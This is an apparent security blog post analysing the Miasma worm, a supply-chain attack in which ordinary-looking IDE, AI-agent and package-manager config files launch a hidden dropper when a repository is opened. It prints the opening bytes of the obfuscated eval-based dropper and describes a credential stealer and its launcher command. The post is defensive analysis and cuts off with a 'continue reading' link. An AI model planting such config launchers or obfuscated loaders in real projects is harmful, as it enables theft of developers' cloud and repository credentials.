Cloning a repository and opening it in an editor can run an attacker’s code before a developer reads a single line. The trigger is not a malicious dependency or a hidden install script. It is an ordinary-looking config file already sitting in the repo, the kind an IDE, an AI coding agent, or a package manager reads and acts on automatically.
VS Code, Cursor, Claude Code, Gemini CLI, npm, Composer, and Bundler all support config files that can carry a shell command. Some run it when dependencies install or tests run. Others run it when the folder is opened or an agent session starts, in most cases after a one-time trust prompt that developers click through without reading. A config file that runs a command is an execution primitive, not metadata, and supply chain attackers have started using it as one. Almost nobody reviews these files. This post walks the config injection vectors with real source, then maps the broader class so the pattern is easy to spot in a diff.
The Miasma worm is the worked example. One commit to icflorescu/mantine-datatable , commit f72462d9 , is unsigned, authored as github-actions <[email protected]> , titled chore: update dependencies [skip ci] , and adds six files. Five of them exist to launch the sixth, a single dropper at .github/setup.js . SafeDep’s Miasma source-repo analysis documents the full incident, the dropper internals, and the 121 affected repositories. This post stays narrow and looks at the config surface itself.
The dropper
The dropper is .github/setup.js , 4,348,254 bytes, one statement in a try/catch . That size is not padding. It holds the encrypted payload and stays above the roughly 384 KB limit where GitHub code search stops indexing, so the small launcher files, not the dropper, are what expose the repo to a search. Its first bytes:
1 // .github/setup.js @ f72462d9 (first 180 bytes of a 4.3 MB file) 2 try { eval ( function ( s , n ){ return s. replace ( / [a-zA-Z] / g , function ( c ){ var b = c <= "Z" ? 65 : 97 ; return String. fromCharCode ((c. charCodeAt ( 0 ) - b + n) % 26 + b)})}([ 40 , 119 , 111 , 117 , 106 , 121 , 40 , 41 , 61 , 62 , 123
A Caesar shift over a character-code array feeds eval . Statically decoding it (shift of 4, never run) yields a staged Bun loader that AES-decrypts a credential stealer. The stealer scans for AWS, Azure, GCP, Vault, Kubernetes, npm, and GitHub secrets, then exfiltrates them to attacker-created public GitHub repositories. That decode is in the Miasma deobfuscation writeup.
This obfuscation shape is not specific to this commit, or even to Miasma. A numeric array decoded by a small rotation function and handed to eval , wrapping an encrypted second stage, is a harness SafeDep keeps seeing recompiled across separate waves of this worm and across unrelated malicious package campaigns. The rotation amount and the encryption keys change between builds, so the file hash changes while the structure stays the same. The payload inside varies. The way it reaches the host does not.
None of the seven config files contains the payload. They each carry the same one string, node .github/setup.js , and let the developer’s own tools do the rest.
The seven launchers
... continue reading